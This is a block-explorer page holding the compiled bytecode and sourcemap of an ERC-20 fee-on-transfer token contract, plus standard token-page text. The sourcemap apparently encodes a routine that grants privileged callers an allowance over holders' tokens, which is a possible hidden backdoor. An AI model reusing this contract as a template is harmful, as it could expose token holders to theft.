55782610350565b50919050565b6010805460ff60a01b1916600160a01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610d5157634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610da557600080fd5b505afa158015610db9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ddd9190611016565b81600181518110610dfe57634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600f54610e2491309116846107c2565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e5d90859060009086903090429060040161140d565b600060405180830381600087803b158015610e7757600080fd5b505af1158015610e8b573d6000803e3d6000fd5b50506010805460ff60a01b1916905550505050565b600e546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610eda573d6000803e3d6000fd5b5050565b610ee88383610fa3565b15610eff57610eff83610ef96107be565b836107c2565b505050565b600080610f11838561148b565b9050838110156103505760405162461bcd60e51b81526004016103ac9061124e565b600061035083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610903565b60008183610f965760405162461bcd60e51b81526004016103ac9190611176565b50600061093484866114a3565b60006001600160a01b03831615801590610fe2575060046000610fc46107be565b6001600160a01b0316815260208101919091526040016000205460ff165b80156103505750506001600160a01b03161515919050565b60006020828403121561100b578081fd5b813561035081611641565b600060208284031215611027578081fd5b815161035081611641565b60008060408385031215611044578081fd5b823561104f81611641565b9150602083013561105f81611641565b809150509250929050565b60008060006060848603121561107e578081fd5b833561108981611641565b9250602084013561109981611641565b929592945050506040919091013590565b600080604083850312156110bc578182fd5b82356110c781611641565b946020939093013593505050565b6000806000606084860312156110e9578283fd5b8351925060208401519150604084015190509250925092565b6001600160a01b0391909116815260200190565b6001600160a01b0392831681529116602082015260400190565b6001600160a01b039687168152602081019590955260408501939093526060840191909152909216608082015260a081019190915260c00190565b901515815260200190565b6000602080835283518082850152825b818110156111a257858101830151858201604001528201611186565b818111156111b35783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601b908201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604082015260600190565b60208082526021908201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6040820152607760f81b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526029908201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206040820152687468616e207a65726f60b81b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526017908201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604082015260600190565b90815260200190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b8181101561145c5784516001600160a01b031683529383019391830191600101611437565b50506001600160a01b03969096166060850152505050608001529392505050565b60ff91909116815260200190565b6000821982111561149e5761149e61162b565b500190565b6000826114be57634e487b7160e01b81526012600452602481fd5b500490565b80825b60018086116114d55750611500565b8187048211156114e7576114e761162b565b808616156114f457918102915b9490941c9380026114c6565b94509492505050565b600061035060001960ff85168460008261152557506001610350565b8161153257506000610350565b816001811461154857600281146115525761157f565b6001915050610350565b60ff8411156115635761156361162b565b6001841b9150848211156115795761157961162b565b50610350565b5060208310610133831016604e8410600b84101617156115b2575081810a838111156115ad576115ad61162b565b610350565b6115bf84848460016114c3565b8086048211156115d1576115d161162b565b02949350505050565b60008160001904831182151516156115f4576115f461162b565b500290565b60008282101561160b5761160b61162b565b500390565b60006000198214156116245761162461162b565b5060010190565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b038116811461165657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220cf669f52115744c1faa7ca0821a37bcae4abf3f8d78f7c20677869cc711db80e64736f6c63430008010033

Deployed Bytecode Sourcemap

4019:7122:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6001:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6834:161;;;;;;;;;;-1:-1:-1;6834:161:0;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;6278:95::-;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;7003:314::-;;;;;;;;;;-1:-1:-1;7003:314:0;;;;;:::i;:::-;;:::i;6187:83::-;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;6381:119::-;;;;;;;;;;-1:-1:-1;6381:119:0;;;;;:::i;:::-;;:::i;3862:148::-;;;;;;;;;;;;;:::i;:::-;;3648:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;6092:87::-;;;;;;;;;;;;;:::i;10845:293::-;;;;;;;;;;;;;:::i;6508:167::-;;;;;;;;;;-1:-1:-1;6508:167:0;;;;;:::i;:::-;;:::i;5685:308::-;;;;;;;;;;;;;:::i;6683:143::-;;;;;;;;;;-1:-1:-1;6683:143:0;;;;;:::i;:::-;;:::i;6001:83::-;6071:5;;;;;;;;;;;;-1:-1:-1;;;6071:5:0;;;;6001:83;:::o;6834:161::-;6909:4;6926:39;6935:12;:10;:12::i;:::-;6949:7;6958:6;6926:8;:39::i;:::-;-1:-1:-1;6983:4:0;6834:161;;;;;:::o;6278:95::-;6331:7;4438:13;4382:1;4438:2;:13;:::i;:::-;4425:26;;:10;:26;:::i;:::-;6351:14;;6278:95;:::o;7003:314::-;7101:4;7118:36;7128:6;7136:9;7147:6;7118:9;:36::i;:::-;7166:121;7175:6;7183:12;:10;:12::i;:::-;7197:89;7235:6;7197:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7197:19:0;;;;;;:11;:19;;;;;;7217:12;:10;:12::i;:::-;-1:-1:-1;;;;;7197:33:0;;;;;;;;;;;;-1:-1:-1;7197:33:0;;;:89;:37;:89::i;:::-;7166:8;:121::i;:::-;-1:-1:-1;7305:4:0;7003:314;;;;;;:::o;6187:83::-;4382:1;6187:83;:::o;6381:119::-;-1:-1:-1;;;;;6474:18:0;6447:7;6474:18;;;:9;:18;;;;;;;6381:119::o;3862:148::-;3785:12;:10;:12::i;:::-;3775:6;;-1:-1:-1;;;;;3775:6:0;;;:22;;;3767:67;;;;-1:-1:-1;;;3767:67:0;;;;;;;:::i;:::-;;;;;;;;;3969:1:::1;3953:6:::0;;3932:40:::1;::::0;-1:-1:-1;;;;;3953:6:0;;::::1;::::0;3932:40:::1;::::0;3969:1;;3932:40:::1;4000:1;3983:19:::0;;-1:-1:-1;;;;;;3983:19:0::1;::::0;;3862:148::o;3648:79::-;3686:7;3713:6;-1:-1:-1;;;;;3713:6:0;3648:79;:::o;6092:87::-;6164:7;;;;;;;;;;;;-1:-1:-1;;;6164:7:0;;;;6092:87;:::o;10845:293::-;3785:12;:10;:12::i;:::-;3775:6;;-1:-1:-1;;;;;3775:6:0;;;:22;;;3767:67;;;;-1:-1:-1;;;3767:67:0;;;;;;;:::i;:::-;10899:10:::1;:67:::0;;-1:-1:-1;;;;;;10899:67:0::1;10923:42;10899:67;::::0;;;;10977:53:::1;::::0;10994:4:::1;::::0;-1:-1:-1;;;;;11009:10:0::1;4438:13;4382:1;4438:2;:13;:::i;:::-;4425:26;::::0;:10:::1;:26;:::i;10977:53::-;11064:10;;;;;;;;;-1:-1:-1::0;;;;;11064:10:0::1;-1:-1:-1::0;;;;;11064:18:0::1;;:20;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11052:44:0::1;;11105:4;11112:10;;;;;;;;;-1:-1:-1::0;;;;;11112:10:0::1;-1:-1:-1::0;;;;;11112:15:0::1;;:17;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11052:78;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11041:8;:89:::0;;-1:-1:-1;;;;;;11041:89:0::1;-1:-1:-1::0;;;;;11041:89:0;;;::::1;::::0;;;::::1;::::0;;10845:293::o;6508:167::-;6586:4;6603:42;6613:12;:10;:12::i;:::-;6627:9;6638:6;6603:9;:42::i;5685:308::-;3785:12;:10;:12::i;:::-;3775:6;;-1:-1:-1;;;;;3775:6:0;;;:22;;;3767:67;;;;-1:-1:-1;;;3767:67:0;;;;;;;:::i;:::-;5749:13:::1;::::0;-1:-1:-1;;;5749:13:0;::::1;;;5748:14;5740:49;;;;-1:-1:-1::0;;;5740:49:0::1;;;;;;;:::i;:::-;5800:10;::::0;-1:-1:-1;;;;;5800:10:0::1;:26;5834:21;5865:4;5871:24;5865:4:::0;5871:9:::1;:24::i;:::-;5896:1;5898::::0;5900:7:::1;:5;:7::i;:::-;5908:15;5800:124;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;5935:12:0::1;:19:::0;;-1:-1:-1;;;;;;;;5935:19:0;;::::1;-1:-1:-1::0;;;5935:19:0::1;5965:20;-1:-1:-1::0;;;5965:20:0::1;::::0;;-1:-1:-1;5685:308:0:o;6683:143::-;-1:-1:-1;;;;;6791:18:0;;;6764:7;6791:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6683:143::o;1405:98::-;1485:10;1405:98;:::o;7325:335::-;-1:-1:-1;;;;;7418:19:0;;7410:68;;;;-1:-1:-1;;;7410:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;7497:21:0;;7489:68;;;;-1:-1:-1;;;7489:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;7568:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;;:36;;;7620:32;;;;;7598:6;;7620:32;:::i;:::-;;;;;;;;7325:335;;;:::o;8824:422::-;-1:-1:-1;;;;;8912:18:0;;8904:68;;;;-1:-1:-1;;;8904:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;8991:16:0;;8983:64;;;;-1:-1:-1;;;8983:64:0;;;;;;;:::i;:::-;9075:1;9066:6;:10;9058:64;;;;-1:-1:-1;;;9058:64:0;;;;;;;:::i;:::-;9135:17;9155:27;9165:4;9171:2;9175:6;9155:9;:27::i;:::-;9135:47;;9195:43;9210:4;9216:2;9220:6;9228:9;9195:14;:43::i;:::-;8824:422;;;;:::o;2542:190::-;2628:7;2664:12;2656:6;;;;2648:29;;;;-1:-1:-1;;;2648:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2688:9:0;2700:5;2704:1;2700;:5;:::i;:::-;2688:17;2542:190;-1:-1:-1;;;;;2542:190:0:o;7668:1148::-;7745:7;;7807;:5;:7::i;:::-;-1:-1:-1;;;;;7799:15:0;:4;-1:-1:-1;;;;;7799:15:0;;;:32;;;;;7824:7;:5;:7::i;:::-;-1:-1:-1;;;;;7818:13:0;:2;-1:-1:-1;;;;;7818:13:0;;;7799:32;7795:987;;;7860:76;7932:3;7860:67;7882:15;;7872:9;;:25;7871:55;;7912:14;;7871:55;;;7899:12;;7871:55;7860:6;;:10;:67::i;:::-;:71;;:76::i;:::-;7965:8;;7848:88;;-1:-1:-1;;;;;;7957:16:0;;;7965:8;;7957:16;:45;;;;-1:-1:-1;7991:10:0;;-1:-1:-1;;;;;7977:25:0;;;7991:10;;7977:25;;7957:45;:73;;;;-1:-1:-1;;;;;;8008:22:0;;;;;;:18;:22;;;;;;;;8006:24;7957:73;7953:125;;;8051:9;:11;;;:9;:11;;;:::i;:::-;;;;;;7953:125;8103:8;;-1:-1:-1;;;;;8097:14:0;;;8103:8;;8097:14;:38;;;;-1:-1:-1;;;;;;8115:20:0;;8130:4;8115:20;;8097:38;8094:169;;;8168:79;8243:3;8168:70;8190:16;;8180:9;;:26;8179:58;;8222:15;;8179:58;;;8208:13;;8168:6;;:10;:70::i;:79::-;8156:91;;8094:169;8279:20;8302:24;8320:4;8302:9;:24::i;:::-;8347:10;;8279:47;;-1:-1:-1;;;;8347:10:0;;;;8346:11;:29;;;;-1:-1:-1;8367:8:0;;-1:-1:-1;;;;;8361:14:0;;;8367:8;;8361:14;8346:29;:45;;;;-1:-1:-1;8379:12:0;;-1:-1:-1;;;8379:12:0;;;;8346:45;:79;;;;;8407:18;;8395:9;;:30;8346:79;8342:429;;;8464:15;;8449:12;:30;8446:117;;;8498:65;8515:47;8519:6;8527:34;8531:12;8545:15;;8527:3;:34::i;:::-;8515:3;:47::i;:::-;8498:16;:65::i;:::-;8611:21;8703:33;8714:21;8703:10;:33::i;:::-;8342:429;;7795:987;;8799:9;7668:1148;-1:-1:-1;;;;7668:1148:0:o;9421:506::-;9526:35;9544:4;9550:2;9554:6;9526:17;:35::i;:::-;9575:13;;9572:166;;9647:4;9629:24;;;;:9;:24;;;;;;:39;;9658:9;9629:28;:39::i;:::-;9620:4;9602:24;;;;:9;:24;;;;;;;:66;;;;9686:40;;-1:-1:-1;;;;;9686:40:0;;;;;;;9716:9;;9686:40;:::i;:::-;;;;;;;;9572:166;-1:-1:-1;;;;;9768:15:0;;;;;;:9;:15;;;;;;:27;;9788:6;9768:19;:27::i;:::-;-1:-1:-1;;;;;9750:15:0;;;;;;:9;:15;;;;;:45;9822:40;9840:21;:6;9851:9;9840:10;:21::i;:::-;-1:-1:-1;;;;;9822:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;9806:13:0;;;;;;;:9;:13;;;;;:56;;;;9878:41;;;9897:21;:6;9908:9;9897:10;:21::i;:::-;9878:41;;;;;;:::i;:::-;;;;;;;;9421:506;;;;:::o;2740:246::-;2798:7;2822:6;2818:47;;-1:-1:-1;2852:1:0;2845:8;;2818:47;2875:9;2887:5;2891:1;2887;:5;:::i;:::-;2875:17;-1:-1:-1;2920:1:0;2911:5;2915:1;2875:17;2911:5;:::i;:::-;:10;2903:56;;;;-1:-1:-1;;;2903:56:0;;;;;;;:::i;2994:132::-;3052:7;3079:39;3083:1;3086;3079:39;;;;;;;;;;;;;;;;;:3;:39::i;10117:99::-;10174:7;10202:1;10200;:3;10199:9;;10207:1;10199:9;;;-1:-1:-1;10205:1:0;10117:99;-1:-1:-1;10117:99:0:o;10331:468::-;5238:10;:17;;-1:-1:-1;;;;5238:17:0;-1:-1:-1;;;5238:17:0;;;10433:16:::1;::::0;;10447:1:::1;10433:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10433:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10433:16:0::1;10409:40;;10478:4;10460;10465:1;10460:7;;;;;;-1:-1:-1::0;;;10460:7:0::1;;;;;;;;;-1:-1:-1::0;;;;;10460:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10504:10:::1;::::0;:17:::1;::::0;;-1:-1:-1;;;10504:17:0;;;;:10;;;::::1;::::0;:15:::1;::::0;:17:::1;::::0;;::::1;::::0;10460:7;;10504:17;;;;;:10;:17;::::1;;::::0;::::1;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10494:4;10499:1;10494:7;;;;;;-1:-1:-1::0;;;10494:7:0::1;;;;;;;;;-1:-1:-1::0;;;;;10494:27:0;;::::1;:7;::::0;;::::1;::::0;;;;;:27;10564:10:::1;::::0;10532:57:::1;::::0;10549:4:::1;::::0;10564:10:::1;10577:11:::0;10532:8:::1;:57::i;:::-;10600:10;::::0;:191:::1;::::0;-1:-1:-1;;;10600:191:0;;-1:-1:-1;;;;;10600:10:0;;::::1;::::0;:61:::1;::::0;:191:::1;::::0;10676:11;;10600:10:::1;::::0;10718:4;;10745::::1;::::0;10765:15:::1;::::0;10600:191:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5278:10:0;:18;;-1:-1:-1;;;;5278:18:0;;;-1:-1:-1;;;;10331:468:0:o;10224:99::-;10287:10;;10279:36;;-1:-1:-1;;;;;10287:10:0;;;;10279:36;;;;;10308:6;;10287:10;10279:36;10287:10;10279:36;10308:6;10287:10;10279:36;;;;;;;;;;;;;;;;;;;;;10224:99;:::o;9254:159::-;9345:22;9358:4;9364:2;9345:12;:22::i;:::-;9342:63;;;9369:36;9378:4;9384:12;:10;:12::i;:::-;9398:6;9369:8;:36::i;:::-;9254:159;;;:::o;2211:179::-;2269:7;;2301:5;2305:1;2301;:5;:::i;:::-;2289:17;;2330:1;2325;:6;;2317:46;;;;-1:-1:-1;;;2317:46:0;;;;;;;:::i;2398:136::-;2456:7;2483:43;2487:1;2490;2483:43;;;;;;;;;;;;;;;;;:3;:43::i;3134:189::-;3220:7;3255:12;3248:5;3240:28;;;;-1:-1:-1;;;3240:28:0;;;;;;;;:::i;:::-;-1:-1:-1;3279:9:0;3291:5;3295:1;3291;:5;:::i;9935:174::-;10004:4;-1:-1:-1;;;;;10028:18:0;;;;;;:53;;;10050:17;:31;10068:12;:10;:12::i;:::-;-1:-1:-1;;;;;10050:31:0;;;;;;;;;;;;-1:-1:-1;10050:31:0;;;;10028:53;:73;;;;-1:-1:-1;;;;;;;10085:16:0;;;;9935:174;-1:-1:-1;9935:174:0:o;14:259:1:-;;126:2;114:9;105:7;101:23;97:32;94:2;;;147:6;139;132:22;94:2;191:9;178:23;210:33;237:5;210:33;:::i;278:263::-;;401:2;389:9;380:7;376:23;372:32;369:2;;;422:6;414;407:22;369:2;459:9;453:16;478:33;505:5;478:33;:::i;546:402::-;;;675:2;663:9;654:7;650:23;646:32;643:2;;;696:6;688;681:22;643:2;740:9;727:23;759:33;786:5;759:33;:::i;:::-;811:5;-1:-1:-1;868:2:1;853:18;;840:32;881:35;840:32;881:35;:::i;:::-;935:7;925:17;;;633:315;;;;;:::o;953:470::-;;;;1099:2;1087:9;1078:7;1074:23;1070:32;1067:2;;;1120:6;1112;1105:22;1067:2;1164:9;1151:23;1183:33;1210:5;1183:33;:::i;:::-;1235:5;-1:-1:-1;1292:2:1;1277:18;;1264:32;1305:35;1264:32;1305:35;:::i;:::-;1057:366;;1359:7;;-1:-1:-1;;;1413:2:1;1398:18;;;;1385:32;;1057:366::o;1428:327::-;;;1557:2;1545:9;1536:7;1532:23;1528:32;1525:2;;;1578:6;1570;1563:22;1525:2;1622:9;1609:23;1641:33;1668:5;1641:33;:::i;:::-;1693:5;1745:2;1730:18;;;;1717:32;;-1:-1:-1;;;1515:240:1:o;1760:316::-;;;;1917:2;1905:9;1896:7;1892:23;1888:32;1885:2;;;1938:6;1930;1923:22;1885:2;1972:9;1966:16;1956:26;;2022:2;2011:9;2007:18;2001:25;1991:35;;2066:2;2055:9;2051:18;2045:25;2035:35;;1875:201;;;;;:::o;2081:203::-;-1:-1:-1;;;;;2245:32:1;;;;2227:51;;2215:2;2200:18;;2182:102::o;2289:304::-;-1:-1:-1;;;;;2519:15:1;;;2501:34;;2571:15;;2566:2;2551:18;;2544:43;2451:2;2436:18;;2418:175::o;2598:607::-;-1:-1:-1;;;;;2957:15:1;;;2939:34;;3004:2;2989:18;;2982:34;;;;3047:2;3032:18;;3025:34;;;;3090:2;3075:18;;3068:34;;;;3139:15;;;3133:3;3118:19;;3111:44;2919:3;3171:19;;3164:35;;;;2888:3;2873:19;;2855:350::o;3210:187::-;3375:14;;3368:22;3350:41;;3338:2;3323:18;;3305:92::o;3402:603::-;;3543:2;3572;3561:9;3554:21;3604:6;3598:13;3647:6;3642:2;3631:9;3627:18;3620:34;3672:4;3685:140;3699:6;3696:1;3693:13;3685:140;;;3794:14;;;3790:23;;3784:30;3760:17;;;3779:2;3756:26;3749:66;3714:10;;3685:140;;;3843:6;3840:1;3837:13;3834:2;;;3913:4;3908:2;3899:6;3888:9;3884:22;3880:31;3873:45;3834:2;-1:-1:-1;3989:2:1;3968:15;-1:-1:-1;;3964:29:1;3949:45;;;;3996:2;3945:54;;3523:482;-1:-1:-1;;;3523:482:1:o;4010:399::-;4212:2;4194:21;;;4251:2;4231:18;;;4224:30;4290:34;4285:2;4270:18;;4263:62;-1:-1:-1;;;4356:2:1;4341:18;;4334:33;4399:3;4384:19;;4184:225::o;4414:398::-;4616:2;4598:21;;;4655:2;4635:18;;;4628:30;4694:34;4689:2;4674:18;;4667:62;-1:-1:-1;;;4760:2:1;4745:18;;4738:32;4802:3;4787:19;;4588:224::o;4817:351::-;5019:2;5001:21;;;5058:2;5038:18;;;5031:30;5097:29;5092:2;5077:18;;5070:57;5159:2;5144:18;;4991:177::o;5173:397::-;5375:2;5357:21;;;5414:2;5394:18;;;5387:30;5453:34;5448:2;5433:18;;5426:62;-1:-1:-1;;;5519:2:1;5504:18;;5497:31;5560:3;5545:19;;5347:223::o;5575:356::-;5777:2;5759:21;;;5796:18;;;5789:30;5855:34;5850:2;5835:18;;5828:62;5922:2;5907:18;;5749:182::o;5936:405::-;6138:2;6120:21;;;6177:2;6157:18;;;6150:30;6216:34;6211:2;6196:18;;6189:62;-1:-1:-1;;;6282:2:1;6267:18;;6260:39;6331:3;6316:19;;6110:231::o;6346:401::-;6548:2;6530:21;;;6587:2;6567:18;;;6560:30;6626:34;6621:2;6606:18;;6599:62;-1:-1:-1;;;6692:2:1;6677:18;;6670:35;6737:3;6722:19;;6520:227::o;6752:400::-;6954:2;6936:21;;;6993:2;6973:18;;;6966:30;7032:34;7027:2;7012:18;;7005:62;-1:-1:-1;;;7098:2:1;7083:18;;7076:34;7142:3;7127:19;;6926:226::o;7157:347::-;7359:2;7341:21;;;7398:2;7378:18;;;7371:30;7437:25;7432:2;7417:18;;7410:53;7495:2;7480:18;;7331:173::o;7509:177::-;7655:25;;;7643:2;7628:18;;7610:76::o;7691:983::-;;8001:3;7990:9;7986:19;8032:6;8021:9;8014:25;8058:2;8096:6;8091:2;8080:9;8076:18;8069:34;8139:3;8134:2;8123:9;8119:18;8112:31;8163:6;8198;8192:13;8229:6;8221;8214:22;8267:3;8256:9;8252:19;8245:26;;8306:2;8298:6;8294:15;8280:29;;8327:4;8340:195;8354:6;8351:1;8348:13;8340:195;;;8419:13;;-1:-1:-1;;;;;8415:39:1;8403:52;;8510:15;;;;8475:12;;;;8451:1;8369:9;8340:195;;;-1:-1:-1;;;;;;;8591:32:1;;;;8586:2;8571:18;;8564:60;-1:-1:-1;;;8655:3:1;8640:19;8633:35;8552:3;7962:712;-1:-1:-1;;;7962:712:1:o;8679:184::-;8851:4;8839:17;;;;8821:36;;8809:2;8794:18;;8776:87::o;8868:128::-;;8939:1;8935:6;8932:1;8929:13;8926:2;;;8945:18;;:::i;:::-;-1:-1:-1;8981:9:1;;8916:80::o;9001:217::-;;9067:1;9057:2;;-1:-1:-1;;;9092:31:1;;9146:4;9143:1;9136:15;9174:4;9099:1;9164:15;9057:2;-1:-1:-1;9203:9:1;;9047:171::o;9223:453::-;9319:6;9342:5;9356:314;9405:1;9442:2;9432:8;9429:16;9419:2;;9449:5;;;9419:2;9490:4;9485:3;9481:14;9475:4;9472:24;9469:2;;;9499:18;;:::i;:::-;9549:2;9539:8;9535:17;9532:2;;;9564:16;;;;9532:2;9643:17;;;;;9603:15;;9356:314;;;9300:376;;;;;;;:::o;9681:148::-;;9768:55;-1:-1:-1;;9809:4:1;9795:19;;9789:4;9834:922;9918:8;9908:2;;-1:-1:-1;9959:1:1;9973:5;;9908:2;10007:4;9997:2;;-1:-1:-1;10044:1:1;10058:5;;9997:2;10089:4;10107:1;10102:59;;;;10175:1;10170:183;;;;10082:271;;10102:59;10132:1;10123:10;;10146:5;;;10170:183;10207:3;10197:8;10194:17;10191:2;;;10214:18;;:::i;:::-;10270:1;10260:8;10256:16;10247:25;;10298:3;10291:5;10288:14;10285:2;;;10305:18;;:::i;:::-;10338:5;;;10082:271;;10437:2;10427:8;10424:16;10418:3;10412:4;10409:13;10405:36;10399:2;10389:8;10386:16;10381:2;10375:4;10372:12;10368:35;10365:77;10362:2;;;-1:-1:-1;10474:19:1;;;10509:14;;;10506:2;;;10526:18;;:::i;:::-;10559:5;;10362:2;10606:42;10644:3;10634:8;10628:4;10625:1;10606:42;:::i;:::-;10681:6;10676:3;10672:16;10663:7;10660:29;10657:2;;;10692:18;;:::i;:::-;10730:20;;9898:858;-1:-1:-1;;;;9898:858:1:o;10761:168::-;;10867:1;10863;10859:6;10855:14;10852:1;10849:21;10844:1;10837:9;10830:17;10826:45;10823:2;;;10874:18;;:::i;:::-;-1:-1:-1;10914:9:1;;10813:116::o;10934:125::-;;11002:1;10999;10996:8;10993:2;;;11007:18;;:::i;:::-;-1:-1:-1;11044:9:1;;10983:76::o;11064:135::-;;-1:-1:-1;;11124:17:1;;11121:2;;;11144:18;;:::i;:::-;-1:-1:-1;11191:1:1;11180:13;;11111:88::o;11204:127::-;11265:10;11260:3;11256:20;11253:1;11246:31;11296:4;11293:1;11286:15;11320:4;11317:1;11310:15;11336:133;-1:-1:-1;;;;;11413:31:1;;11403:42;;11393:2;;11459:1;11456;11449:12;11393:2;11383:86;:::o

Swarm Source

ipfs://cf669f52115744c1faa7ca0821a37bcae4abf3f8d78f7c20677869cc711db80e
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.